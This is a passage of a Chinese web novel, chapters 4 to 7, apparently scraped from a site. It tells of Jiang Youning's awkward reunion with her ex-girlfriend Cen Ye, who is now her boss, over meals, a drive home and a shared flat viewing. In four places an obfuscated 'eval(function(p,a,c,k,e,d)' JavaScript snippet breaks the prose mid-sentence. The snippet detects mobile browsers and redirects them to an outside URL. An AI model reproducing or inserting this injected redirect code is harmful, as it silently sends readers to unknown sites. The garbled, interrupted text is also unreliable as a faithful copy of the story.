她想问问部门里的事情,但谈这些事情的时候,岑曳就是她的领导了,她不好大大咧咧地问。 岑曳在工作上雷厉风行,跟岑千兰是一个性格,她真怕裁员裁到姜又柠。 “你为什么会突然问柠柠的事情?” 岑曳也没有隐瞒,“之前在国内住的时候,请来的家政阿姨是她的妈妈。” “这样啊,那你们认识得更久啊!”江诗文这才反应过来,“听说柠柠妈妈能力超级棒,好多雇主都特别喜欢她。” 女人的脸上没了表情,“确实。” “那就太好了。”江诗文美滋滋的。 这下她不用担心姜又柠的去路了,她俩可以放心大胆地继续做饭搭子。 就是她自己有点难办了…… 万一她跑路到这儿的事情被发现…… 一同挤上电梯的时候,江诗文小声嘀咕,“我运气怎么这么差……” 一旁的岑曳笑得张扬,“但我运气还挺好的。” 能这么快就跟昔日的恋人重逢,的确是一个意外之喜。 4. 第 4 章 十二点半的时候,姜又柠吃上了午饭,不过没想到江诗文会给她打包一份牛肉。 她没点这个菜。 “是岑曳说的,来月经吃牛羊肉补一补气血比较好,但是我们常去的那家自助今天没有卖羊肉。” 姜又柠送进嘴巴里的牛肉立马嚼的不是滋味了。 她第一次月经是在十三岁的时候来的,姜鸿英很早就教育了她这方面的知识,所以她看到内裤上的血迹时,并没有害怕,可隐隐作痛的小腹让她在卫生间里蹲了好久。 她不能给别人添麻烦,所以只能熬着等什么时候肚子不痛了再若无其事地走出去。 直到岑曳敲了敲卫生间的门,里面无人应答。 紧接着是第二次第三次敲门声,还伴随着焦急的喊声,姜又柠知道避不开她了,所以扶着墙站起来,慢悠悠走过去开了门,“姐姐,我来月经了,能不能麻烦你给我一杯热水喝……” 她站不太稳,语气也很虚弱。 “怎么不早点喊我?”岑曳没有犹豫将她抱起来,“是自己清理的吗?要不要再帮你清理一下?” “我换过裤子了,我在卧室里找到了妈妈买的卫生巾,已经垫好了。” 岑曳给她递了杯热水,从冰箱里找了一份牛小排在锅里煎着,“晚上还没吃饭吧?刚好碰到你妈妈每周去公司开例会的时间了。” “……我本来要去我妈妈那里吃的。” 家政公司也有集体宿舍,不过住的人不多,厨房也是公用的,特殊情况岑家不需要家政或者公司里有别的安排需要请假的时候,姜又柠就会跟着姜鸿英在集体宿舍住。 岑曳将煎好牛排放在她面前,“吃点牛肉补一补气血,你可能是身子弱,所以会痛经。” 她的手刚刚放在姜又柠小腹上,姜又柠就往回缩了下,“不用帮我揉的……这个牛排好贵,我不能吃的……” 做饭这些事情是她妈妈工作范围内的,她怎么敢让雇主的女儿帮她做饭,吃雇主家的,喝雇主家的? “你总得吃饭,这样怎么去你妈妈那里?”岑曳的手又一次落在她小腹上,任凭姜又柠轻轻推搡也没松开。 姜又柠的手抓住她的手腕,感受着温热的手掌慢慢安抚着自己小腹的动作,“妈妈说喝红糖水会好。” “这个比红糖水更管用一些。”岑曳将牛排推到她面前,主动用叉子叉起一份送到她嘴边,“尝尝?” 姜又柠试探性地张开嘴,这块肉好吃到她两眼放光,“我会让妈妈付钱的,我不能白吃……” 不过她可能会被姜鸿英批评几句,怎么这么贪吃? 但,这么美味的牛肉,挨几句骂好像也挺值得的。 “我们不是好朋友吗?算我送给你的。”岑曳坐在一边,平静地打量她,“现在有好受一些吗?” 姜又柠点了点头,“谢谢姐姐……” 岑曳勾唇淡笑了下,又皱眉伸出手整理着姜又柠凌乱的碎发,又将她校服上衣的褶皱抚平。 看到一身打扮都整整齐齐的姜又柠之后,岑曳的状态才放松了很多。 之后姜又柠为了保证自己的状态已经很棒了,揽下了洗碗的功劳。 她看见卫生间里的岑曳在不停地洗着手,面容不悦,心里便涌出了一些紧张。 在嫌弃跟她的相处吗? 相比于岑曳来讲,她在某种程度上的确算得上是一个脏兮兮的小孩儿。 “姐姐,你已经洗了快十分钟了……” 这还只是她看见之后的时间。 “不用担心,只是有一点强迫症,是我自己的问题。”岑曳关掉水龙头擦干净手,本想着摸一摸姜又柠的脑袋以示友好,但还是没有伸出手,“今晚在这儿睡吧,我会跟你妈妈打一通电话的,还难受的话就直接去敲我的卧室门。” 第二次来月经之前,岑曳要她吃了很多补气血的食物,她便生龙活虎的一点儿都不痛了。 再后来慢慢长大,因为学业问题,或者她自己又爱熬夜,第一天来月经会肚子痛的毛病就非常频繁了。 …… “是不是冷掉了?不好吃吗?”江诗文见她发呆,主动问,“你肚子还疼吗?” “不疼,我吃了布洛芬的,就是没什么力气。”姜又柠又往嘴巴里迅速塞了几块牛肉,得知这份餐食是怎么来的之后,心里有点堵塞,“你跟岑……岑总监一起吃的饭啊?” “我跟她认识嘛,刚好碰到了就一起吃的。”江诗文说,“不过你们不是旧相识吗?你干嘛跟我装不熟啊,她都说了你是之前岑家家政阿姨的女儿,那你们应该认识很久了啊。” “她跟你说这个了?!”姜又柠大惊失色,“她还跟你说什么了?” “就没了啊,我急着回来给你送饭,我俩就简单吃了下,也没聊什么别的。”江诗文没怎么多想,“那个房子你看了没?觉得不错的话我们之后可以一起去看看。” “我看了视频,各方面都挺好的,就是室友不好找,万一找不到,我一个人付不了整租的钱。”姜又柠有些犹豫,“我还是先看看一室吧,虽然有很多隔断房……” “那个贴主应该比较着急,说预存的水电费也可以送的。”江诗文确实很想跟姜又柠住一个小区,这样一起约着出门的时候实在太方便了,“或者我给你补贴!” “别!”姜又柠不是厚脸皮的人,“我们之后先线下看看吧。” 江诗文所在的小区环境很好,她之前也去过好几次,出入都有门禁卡,安全方面还是可以保证的。 物业的人也挺好的,逢年过节都会挨家挨户送礼物,邻里邻居有矛盾也会及时调和。 隔音这方面也不错,楼上楼下动静也几乎都听不到,姜又柠唯一能够想到的缺点就是租金太高。 但这属于她的缺点,不属于小区的缺点。 “好呀好呀!看你的情况。”江诗文乐呵呵的,“我真的很想跟你住一个小区嘛,我在国内就只有你这么一个好朋友。” 她灿烂地笑笑,又拿着杯子帮姜又柠接了热水。 在茶水间冲咖啡的时候,江诗文又看到了岑曳,“对了岑曳姐,你现在在国内是住家里的房子吗?” “原来的房子空着了,离公司太远不方便,刚回国东西少,暂时不用的东西都放到家里了,目前我还在酒店住,这几天也打算看看房子。” “住酒店多不方便啊!上了一天的班多累啊,当然要有个自己布置好的温馨小家才舒服啊!”江诗文凑近她悄咪咪地说,“我小区这里有一套转租的房子,缺个室友,你要不要看一看?” “你的小区我也看了,环境确实可以。”岑曳顺便问了问,“不过我还是自己住比较好。” “那好吧,不过柠柠如果真的要租那套房子的话,她也不一定乐意跟你合租的。”江诗文想得很浅,“谁乐意跟自己领导住一起啊。况且你强迫症太严重,她肯定会被你逼疯的。” 岑曳靠着桌角,抿唇喝了口茶水,没有说话。 - 总算熬过月经最多的那几天,周五这天,姜又柠跟转租的人约好了下班去看房子,又得知部门里有十几个人被劝退了。 岑曳利落地给了这些人赔偿,顺便在会议上介绍了几位从总部一并调过来的员工,这些员工会作为先锋,努力为项目发展做贡献。 一群人零零散散从会议室里出来的时候,刘姐面露愁容,“这么快就把自己的人塞进来了,以后的日子看来真不好过啊。” 最后出来的岑曳淡淡扫了下周围的工位,再次露出和睦的笑容,“有问题可以随时去办公室找我,我们单独沟通,只要是上班时间,我一直都在。” 众人目送着岑曳的身影消失在总监办公室之后,终于开始意识到新领导‘笑面虎’的本质,虽然面儿上看着脾气挺好的,但树立威严的事情一个都没少干。 不过倒是没多少人起反抗心理,部门要发展,那些浑水摸鱼的人一定是要清理走的。 无非就是工作一下子比以前忙碌很多,抱怨也多了不少。 姜又柠下午上班容易犯困,最近事情多,她买了盒糖提神,这会儿往抽屉里摸了下没能摸到,发现已经吃光了。 这个水果硬糖有好几种口味,都是独立包装的,味道还可以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506908|186109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早知道她就买三盒的了,还能便宜几块钱。 在脑子里思索着还该买些什么的时候,她又想到没多久就要搬家,她这几天不能买太多东西,不然都是累赘。 几个小时的时间在胡思乱想中度过,她跟江诗文一起回了小区看房子。 姜又柠在房间里四处看的时候,转租的女孩子说,“这个套二我是自己住的,我在主卧,另个卧室放的是我的一些杂物,不过我这两天都会清理走的,你要是着急搬进来的话,我今晚也能加个班,全部搬走。” “不用不用,我不是很着急,我先看看。” 最怕转租的人或者房东着急,这种房子最容易出问题,但姜又柠租过几次房子了,对于该吃不该吃的亏也有底,仔细看了看也没发现什么问题。 更何况物业负责,要是出问题了也可以立即协商解决。 “我是工作那边有突发情况,被调到外省了,下周就要走,所以我比较着急。”女生看出了她乱想,继续解释道,“这个房子我住了三年了,房东人很好,而且在国外定居了不回来的,家具维修这方面物业那边都是免费的。” “这样啊。”姜又柠点点头,放心了很多。 “房租我可以稍稍补贴你一些,交给中介转租的话也挺贵的,倒不如我自己先找找转租的人。”女生说,“我也会帮你找合租的人,如果有情况的话,我会让你们先见个面的。” “方便我录个视频吗?”得到允许之后,姜又柠又仔仔细细录了个视频,顺便在心里盘算了下房租。 租期只剩下三个月了,又有补贴,平均下来她一个月就多付了几百块。 房子也不错,好像比她自己住隔断间要好很多呢。 如果能遇到一个好相处的室友,那就更好了。 “明天是周六,你方便白天让我过来再看看房子吗?” “当然可以。” 约定了新的时间之后,姜又柠才跟江诗文离开了,两个人往小区门口去,想着吃什么晚饭。 迎面走来两个女人正交谈着,姜又柠听到了熟悉的声音,下意识往声音来源看了看。 是岑曳和一个穿着职业装的女人,应该是房屋中介,好久之前姜又柠找房子的时候也找过这家中介。 岑曳也在找房子吗? “岑曳姐!” 姜又柠本想着快步走掉,没想到江诗文直接喊了她。 这两个人很熟,是不用避嫌的那种熟。 可她不一样啊,她不想跟前任上班见,下班也见。 岑曳闻言,抬眸望过来,主动走了过来,“好巧。” “要不要一起去吃饭?”江诗文问她,“我跟柠柠也刚刚去看了房子的。” 岑曳欣然应允,“好啊,你们打算吃什么?” 气氛似乎只有姜又柠一个人觉得别扭,她抿了抿唇,想着该怎么找个借口离开。 她现在还不想跟岑曳时时刻刻接触。 “柠柠想吃什么?” 按照岑曳的性格,火锅这种满是油腥味儿的食物她是一定不会吃的,不然会在浴室里洗上三天三夜的澡来消除味道。 小时候她还不清楚岑曳的性格,要她陪自己去吃螺蛳粉,后来她再也没见过岑曳穿那天的那套衣服。 清理垃圾桶的时候,她在垃圾袋里看见了这套衣服,还套了好几层袋子生怕味道散出来。 幸好当时的岑曳脾气很好,不然她又要挨姜鸿英的骂了。 岑曳的毛病是改不了的,不然她谈恋爱的时候也不会被折磨得半死不活。 于是姜又柠想也没想便开口,“我们去吃火锅吧,正好我例假快没了,好久没吃了,嘴还挺馋的。” “没问题!”江诗文又看向岑曳,面容上带了些犹豫,“……岑曳姐,一起去吗?” “可以啊。”岑曳的眸光在姜又柠身上来来回回地扫,“正好我们几年没见了,也该找个机会叙叙旧。” 姜又柠意外她的同意,抬眸跟她对上视线。 她从女人深邃的目光里知晓到—— 哪怕四年没见,她还是会被她一眼看穿。 5. 第 5 章 岑曳是开了车子来的,是那辆旧车子,开了好多年,不过保养得很好,看起来还是很新。 姜又柠能认得出来是因为,以前她还在岑家住的时候,岑曳就是带着她开这辆车子四处玩儿的。 “我去后面坐,我不太喜欢坐副驾。”江诗文冲着姜又柠拜托似的开口,“反正你俩也认识,那我应该不用客气吧?” 姜又柠只犹豫地发出了一个‘嗯……’字,江诗文立马就当她同意了。 无奈之下,她只好去拉副驾驶的车门,但不跟岑曳说一声又觉得不太好,所以视线找寻着女人的方向,在跟她对视上之后,她轻飘飘扔过来一句,“还是要我帮你拉车门?” 这下姜又柠毫不犹豫地自己拉开车门坐了上去。 这辆车她坐过太多次,但这是她第二次拉车门。 跟岑曳认识没几天的时候,她十八岁刚拿了驾照,十二岁的姜又柠就跟着她出门了。 那天她高高兴兴地用尽力气拉开车门,跟着岑曳去游乐场玩了一整天。 回来的岑曳被岑千兰好一顿骂,旁边的姜鸿英敢怒不敢言,私下里对着姜又柠生了好久的气。 姜又柠这么小岑曳又是刚拿驾照,出门在外遇到状况的概率还是有的,没人敢担这样的责任,哪怕是再有钱的人。 车子开了一个小时才到了火锅店,每逢周末,晚上的餐馆就排满了人,哪怕江诗文一早就在手机上排了号,这会儿前面还有十几桌。 店门口放着自助茶水和小零食,剩下的空位置也不算多。 岑曳在角落里零零散散找到了两个塑料椅子放在两个人面前,注意力很快就被手机铃声吸引走了。 她走远些接了个电话,面容闲适,姜又柠下意识跟着她的身影望过去,琢磨着女人的侧脸,猜不透电话那边的身份。 这个女人对谁似乎都是这样面露浅浅的笑意,但关系并不算深切。 十几分钟过去,江诗文冲走过来的岑曳问,“谁的电话?” “总部那边的。” “有很着急的工作吗?” “那倒不是。”岑曳轻蔑地笑,“有个被裁掉的员工向总部写了一封投诉信,内容不算礼貌,所以总部那边对我进行了一次人文关怀。” 姜又柠微愣,没能忍住,“……凭什么投诉你?” 她虽然也摸鱼,但该干的都干了,岑曳还不算太严格,不然部门里一多半人都要走。 这群人还真是表里如一。 岑曳微妙地看了她一眼,安抚性地开口,“不用担心,总部那边要我再接再厉。” - 没过多久,三个人终于在火锅店内坐下,号码快排到的时候就可以向服务员要二维码,提前扫码下单。 江诗文将早就点好的菜提交,利落地选了四宫格,红油、番茄、菌汤还有一个清汤锅。 姜又柠坐在最里面,对面的岑曳跟她的方向稍稍侧了些。 “岑曳姐,你之后是准备一直留在国内部门了吗?” 岑曳想了想,没给出确切的实话,“目前总部那边对我们部门寄予厚望,但基础实在太差,所以没有起色之前我都走不掉,或者部门完全稳定之后,我才能有别的打算。” “岑阿姨也同意了?她应该不会让你回国吧?” 听到这个称呼,姜又柠抬眸偷偷看向了岑曳的脸。 “我有我自己的考虑,我不会让她干涉到我的决定。” 姜又柠冷嗤了一声,不过动静很轻,她用滚烫的茶水烫了一遍自己的碗筷,心情格外复杂。 岑曳睨她一眼,没有多言。 要不是岑千兰,她们当初或许不会闹得那么僵。 江诗文点了几瓶酒,岑曳要开车,姜又柠月经还没结束,所以她只好一个人喝。 “今天柠柠不能陪我喝了,但你们两个人在,我自己喝醉了也没关系的,还挺有安全感的。”江诗文往自己杯子里倒,还热情地把姜又柠杯子里的果汁加满了。 两盘羊肉分别下进了三个锅底里,江诗文自己捞得马马虎虎,油渍不停地溅到桌面上。 岑曳看得焦虑,拿了纸巾擦了又擦,最后担任了捞菜的重任。 姜又柠没怎么动碗筷,这是她吃得最艰难的一次火锅,脑子里始终回旋着岑曳刚才那句话,心里发酸得很。 她才不信这个女人的鬼话。 岑曳找了个空碗从红油锅里面捞肉,最后放在两人中间,“月经还没有结束,少吃一点辣的。” 说的是谁不言而喻,江诗文还赞同地点了点头,“给柠柠吃番茄的吧,这家番茄汤底超级浓郁的。” “不是不喜欢番茄的味道?”岑曳犹豫了下,“换菌汤的吧?” 江诗文惊讶道,“你不爱吃番茄的?之前怎么不跟我说啊?” 姜又柠是不怎么提自己兴趣爱好的人,她永远随大流。 在江诗文看来,姜又柠没有喜欢的,也没有讨厌的,总是‘都行,都可以,看你啊。’ 她也不是挑挑拣拣,别人想一个她就拒绝一个的人,江诗文提什么她都乐意。 “你之前该跟我说的,我真以为你什么都吃的。”江诗文懊恼地叹了口气,“我们都认识这么久了……” “只是没那么喜欢,不是不能吃,挑食是小孩子才做的事情。”姜又柠摇摇头,自己往番茄锅里夹了菜,“我还是自己来吧,不会溅到桌上的。” 她的个人卫生习惯相比于一般人来说也要过分干净一些,这当然来源于过去岑曳的魔鬼同化,不过后来她也习惯了。 姜又柠会接下所有人的好心,并乖巧地说一声谢谢,但现在却不敢接受岑曳的任何善意。 那会让她频繁想到不愉快的过去。 她不是个擅长忘记的人,但却是个擅长回忆的人。 脸皮薄的人没办法在跟前任突兀地重逢之后,当做没事人一样好好地一起吃饭。 “柠柠现在的性格表面上就是这样淡淡的啦,你之后跟她熟一些就好了,她经常跟我开玩笑呢。”江诗文不懂两个人之间的爱恨情仇,缓解着气氛。 她很快打开了第二瓶冰啤,被姜又柠拦下了,“少喝一点吧,你的酒量那么差。” “之前不是你送我回去吗……”江诗文奇怪地看她,“太晚的话就一起在我家睡嘛,你知道的,我一个人住大房子真的很孤单……” 姜又柠咬唇,不知道该不该继续劝。 一起坐岑曳的车子回去是肯定的,这种被迫跟岑曳接触的感觉让她很困窘。 她甚至无法平静下来,脑子也不如平常那样冷静。 火锅吃的没什么味道,她是喜欢吃辣锅的人,这次兴致缺缺。 岑曳不动声色地盯着她看,她碗里从番茄锅里夹出去的菜也根本没动。 姜又柠的性格不该是这样隐忍的,小时候的她敢表达敢发火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我,我就在诗文这里睡吧……太晚了,我住的地方离这儿不怎么近。” 这个回答显然没能让岑曳满意,不过今晚她脸上的神情始终很淡。 女人‘嗯’了一声,果断离开了这里。 “柠柠,你还住原来那个房间好不好?我们明天可以一起去玩……” “我坐一会儿就走。明天早上我还要看房子,在另一个小区,这个是早就跟中介约好了的,临时鸽掉不太好。”姜又柠说,“下午我再过来,我们一起再去把今晚那个房子看一下。” “好吧……” 姜又柠盯着时间看,她只是不想跟岑曳一起离开而已。 过了半个小时,她起身跟江诗文道别,嘱咐她不要在沙发上睡太久,她回到家之后会再给她打个电话的。 出了小区门口,路边停着一辆车,熟悉的女人倚着车身,很快望见了姜又柠。 姜又柠意外岑曳还没有离开,想要装作没看见从她身边快步经过。 “柠柠。” 她被喊住了。 难得的亲昵称呼,她已经四年没有听到过了。 姜又柠犹豫了下,不打算搭理,正准备继续迈脚步离开的时候就听见女人继续问道—— “一直在生我的气吗?” 6. 第 6 章 善变的女人,善变的岑曳。 偏偏每次姜又柠都会被拿捏住。 她本想继续无视掉头也不回地离开的,但她不服气。 当初分手两个人都有错对,凭什么岑曳现在可以当做什么都没发生过一样跟她重新相处? “你别这样喊我。”姜又柠盯着她看,眸光里露出明显的愠意,“我们的关系还没熟稔到这种程度。” “我们的关系?我们现在是什么关系?” “刚接触了几天的领导和员工的关系。” 岑曳扯了扯唇,嘴角的笑意很淡,“就只有这些吗?” 空气中安静了几秒钟,两个人的时间交汇着。 女人安静地看她,神态自若。 完全没意识到自己说出了什么大逆不道的话。 “不然呢?”姜又柠深呼吸了一下,“我跟领导没什么好谈的。” 对于她抗拒的态度,岑曳并不意外,她正准备开口说些什么,手机铃声就响了起来。 姜又柠抿唇看了眼手机备注,显示的是江诗文。 “诗文,你不舒服吗?我还在楼下。”她想着要不要往回赶,这样好歹不会将场面进行得更加尴尬。 她跟岑曳都不是会主动后退一步的人。 ——“没有,我就是困,准备洗洗澡睡觉,我看你跟岑曳姐都不在,就打电话问问。”江诗文的语气里疲惫感很重,“你俩是一起回去的吧?” ——“肯定一起回去了,我老是忘记你们两个认识来着……” 否定的话姜又柠说不出口,不然江诗文还会继续追问,“你早点休息吧,那我们就走了。” 电话持续了一分钟左右就挂掉了,下一秒姜又柠直接对上了岑曳的视线。 女人的眸光里染着细微的笑意,姜又柠已经猜到了她会说些什么。 “我只是不想让诗文多问,你跟她也是朋友,肯定也知道她的性格,多说的话她又得八卦好久。” 她确认岑曳跟她是一致的想法,过去那些不愉快的事情没必要让别人知道,尤其是共同好友。 “我不想跟你扯太多,过去的事情都过去了,现在这种重逢的状况纯属巧合,你做你的领导,我做我的员工,多余的反正我没那个精力去管。” 岑曳始终平静地看着她,看她着急地说了一大堆,可只要稍稍提起过去佯装冷静的面容就会被彻底拆穿。 “这么急着跟我撇清关系做什么?”女人轻轻地笑,“我可什么都没来得及说。” 姜又柠张了张唇,更是气不打一处来,“那你喊我那么暧昧干嘛?” 岑曳口中的‘柠柠’,太容易掀起那些回忆了。 “很……暧昧吗?” 又是一句反问,姜又柠有些头大。 岑曳笑出了声,“抱歉,那我该怎么称呼你?” “岑曳!你有完没完?!” 姜又柠本来就没做好跟岑曳遇见的准备,偏偏又被她这么逗,窝了满肚子的火。 她顾不得现在能不能直呼岑曳大名了,反正岑曳觉得她跟过去一样咋咋呼呼的,那她就应该有气直接撒才是。 岑曳见她炸毛,笑意更盛,只不过口头上稍稍收敛了些,“好了,送你回去。” “……我不想。”姜又柠侧了侧身,觉得自己不争气。 没聊两句就鼻子发酸。 这个女人到底怎么敢的?三番两次当做什么都没发生过一样。 她一想到分手闹翻的那几天,心里还是会好痛好痛。 “那你要坐地铁吗?我送你到地铁口。” “就一百多米,直走前面转个弯就是了!” 四年没见,岑曳好像脸皮厚了一些,姜又柠暗自腹诽。 “那送你直走到前面转个弯。”岑曳往前走了一步,回头看她,分明是等着她跟上来的意思。 姜又柠停在原地不动,岑曳思索了下,将笑意收了,徐徐走到她面前。 “我知道你在想什么,但这样固执地逃避是没有用的。” “我逃避什么了!”姜又柠恨女人从来不会说软话,明明她自己很好哄,“我一直都没错!就算我有错!也不该只有我一个人这么痛苦!” 凭什么? 岑曳应该像她一样难受才对,这一点儿都不公平。 “冷静一下,我不会跟你争论这些。”岑曳抓过她的手腕带着她往车子的方向去,拉开副驾驶的车门要她坐进去。 姜又柠还在强撑,“我要坐后排。” 现在的岑曳跟当初一样,面对矛盾从来不讲对错,永远是冷静下来去处理。 但她是个感情用事的人。 仔细想想,当初的她们怎么会看对眼在一起了呢? 根本就是两个世界的人,性格和习惯也完全不同,姜又柠想不明白。 手腕还没有被松开,陌生又熟悉的触碰,似乎带着些试探。 “你要把你的领导当司机用吗?” 姜又柠甩开她的手,不想又一次在嘴皮子上输,“不行吗?这个时候觉得我们的关系是领导跟员工了?” “行。”岑曳也会在可掌控的范围内适当服软,她把后座车门拉开,下巴往里面扬了扬。 “我又想坐副驾了。”姜又柠迅速坐进副驾驶,‘啪’地一声关上了车门。 岑曳舔唇,哈了下气,撑了车门几秒钟才关上去了驾驶座。 没完没了的‘争斗’终于以姜又柠的胜利而告终,她嘴角扬了弧度,在女人上车之后迅速变为了面无表情。 “地址。”岑曳点开车载iPad,要她输入。 姜又柠想了想骗她绕路的后果,还是将小区准确无误地输入了进去。 岑曳是可以闹的,但一次不能闹太多,不然后果有点严重,这些亏在她们恋爱的时候她可不长教训地吃了好多次。 “这条路没听过啊。”岑曳主动开启了话题。 “改了名字的。”姜又柠解释道,“四年,能变的东西太多了。” 她又说了这条路原来的旧名字,女人这才恍然大悟,“但有些东西是不会变的。” 敏感的话题点到为止,岑曳继续问,“阿姨最近身体还好吧?” “挺好的。” “还在做家政的工作吗?” “嗯。”姜又柠点点头,“雇主阿姨的女儿在国外工作,是什么派遣工作,我也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她犹豫了下,知道岑曳不是冲着那点儿微不足道的钱。 算了,之后的每一天都抬头不见低头见的,好友迟早要加回去的。 她发送了添加好友的请求,发现直接就加上去了。 岑曳没把她删掉吗……? “多少钱,转给你。” 岑曳看见聊天界面的消息提示,勾了勾唇,“等我回家再算。” 姜又柠懒得理她,快步往里走,电梯正好停在一楼,她头也不回地就进去了。 打开客厅的灯,姜又柠直奔窗户的方向,路边女人修长的身影清晰可见。 岑曳同样看见了她,朝着楼上招了招手。 姜又柠抓住窗帘,一气呵成地拉上,下一秒就感受到了手机的震动。 【岑曳:下次见。】 【岑曳:柠柠。】 又是这个暧昧的称呼。 姜又柠抓狂地喊了几声。 岑曳这个女人到底要干什么啊!! 7. 第 7 章 姜又柠周六中午的时候跟着中介去看了另一套房子,是间隔断房,几套房间门对门,看起来就格外拥挤。 她大致看了下,留了一句‘我先考虑一下’匆匆离开了。 要是真在这种环境住下去,她真会抑郁的。 姜又柠最怕邻里邻居不好相处,但这种实在太看运气了。 这周她也陆陆续续看了几套房子,总结下来还是江诗文那栋小区最好。 贵是贵了点儿,不过在她的承受范围之内。 下午太阳最晒的时候,姜又柠再次去看了一次,客厅内的光线也都不错,她便直接定了下来。 上一任租客明天就要去外省了,所以要她交了两百订金,说她可以先搬进来住,室友她会帮忙找,但一起找的话效率会更快一些。 姜又柠同意了。 原来的小区实在太吵,但租期还有一星期左右,下午姜又柠就将这栋房子打扫了下,先搬来了床铺和必要的用品。 她是跟江诗文一起收拾的,谁都没驾照,所以还喊了搬家公司,不过两个人都没能搞清货车大小,两个人跟车的时候,跟主人买错了宠物床的型号,导致小猫小狗每天从两百平的床上醒来没什么差别。 东西也就搬了一点儿,姜又柠心疼这两百块钱,她其实可以打个车的,这点儿东西放后备箱也行的。 两个人都录了视频,都发布了找租客的帖子。 上一任租客也很尽责,尽管要离开了,还是继续在网上和小区群里发布着找室友的消息。 【如果有人联系我看房的话,我让她联系你,或者你没时间的话我可以找物业陪看,她们那边可以录视频的,不会丢东西,客厅电视的柜子下面我留了个监控,你有需要的话也可以这几天安装一下用上。】 姜又柠道了声谢,看见置物架上放着的那只白色狐狸玩偶,抿了抿唇。 她还是没能做到断舍离,甚至在决定什么是必需品的时候把玩偶也考虑了进来。 这应该算她自己的阿贝贝,才不是什么岑曳送给她的。 姜又柠也给了江诗文一把钥匙,如果小区内有人看房的话,她直接领着来就行。 卫生间和阳台都是共用的,姜又柠把主卧空了下来,两个房间没什么差别,就是主卧空间大了不少。 忙碌了一天,姜又柠当晚就在这里睡下的。 不吵不闹,没有装修的声音,没有小孩儿哭闹的声音,这个周末睡得实在太舒服了。 周中的时候陆陆续续有人来看房,每个人都是各方面挺满意的,但都觉得价格有点贵,问姜又柠还能不能再便宜。 姜又柠统一给了拒绝的答复,偶尔还会跟江诗文吐槽,“来之前不知道这个小区的均价吗?既要又要的,当我冤大头啊还要我补贴?!” 骂了几句她又着急,“月初就得我交房租了,也没剩几天了,要是只有我一个人,那我不是得付整租的钱吗啊啊啊!” 晚上下班回原来的房子收拾行李的时候,上一任租客给她打了电话说有人要看房子,问她方不方便。 “要物业带着去看吧,我在旧房子收拾行李,得晚点儿到。” 这样劳累的日子什么时候才能是个头…… 姜又柠这次拎了个行李箱,上面压了个超大的黑色打包袋,打了车一路回到小区的时候,头上身上全是湿漉漉的汗。 门是敞开的,看房子的人应该还没走。 姜又柠放轻脚步进去的时候,就看见一个熟悉的人。 女人正站在置物架前看着,视线似乎落在了那个缝着红色围巾的白色狐狸玩偶上。 听到动静,她回了头,表情上表露着意外,“好巧啊。” 这种下班之后回到家准备好好休息却发现领导比你先到家的感觉实在太恐怖了。 姜又柠后退了一步,确认了门牌号之后才再次走进门,“你就是来看房子的人?” 岑曳歪了下头,“不能是我吗?” “诗文告诉我,你打算在这个小区独居的!” “一室的房子看了几套,都不太合适。”岑曳平静地告诉她,“所以二室的我也在考虑。” 物业热情地解释了几句,将上一任租客给她讲的事情都一并告知了。 姜又柠当然知道这不是重点,“那你看完了吗?可以回去之后再考虑,不用当下就确认要不要。” “或者你可以找一个二室的独居,这个小区二室的很多,地方比较大,肯定够你住。”姜又柠说,“反正你一个人肯定承担得起……” “我觉得这套房子还不错,你已经搬进来了吗?”岑曳有点可惜,“那我就没办法独居了。” “岑曳!这里有很多二室出租的,附近也有很多小区啊,你要干嘛?” “每次见我,总是这样咄咄逼人的样子,柠柠,我会很伤心的。” “反正我提前搬进来了,我也有权利选择我的室友。” 岑曳笑了笑,在客厅来回转了转,面容上的满意更盛了,“转租的新合同签了吗?我们以合同为准吧。” 姜又柠语塞,这小半个月的房租上一任租客给她免了,电子合同要到下个月初才会发给她。 “哦,原来合同还没签啊。”女人语气悠悠的,“回头我找那位租客要一下房东的联系方式,问一问是不是合同签的越久优先权就可以越大?” 姜又柠没时间找房子了,她东西都快搬完了,原来的旧房子这周末就要打扫一下交房,她根本没有时间再去找多余的房子了。 她将最糟糕的情况设想了,如果岑曳真的成为她的室友的话…… 优点当然是她了解岑曳的性格,爱干净作息好当然是最基本的,甚至规律到她自己都受不了。 人也大方,出钱爽快。 长得也好看…… 等等,这不是当下该考虑的。 缺点就只有她不想跟岑曳同处,而不想同处的原因…… 她现在还不打算解决,以后也不打算解决。 物业似乎看出了两个人的箭弩拔张,主动出来调解,“现在租房快到淡季了,暑期毕业那会儿人多,找合租室友确实不太好找,主要这个合同签的就是整租的,就剩下三个月租期了,临时跟房东换成单间合同也说不过去。” “住倒是能住。”姜又柠心疼钱,口风终于松了一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 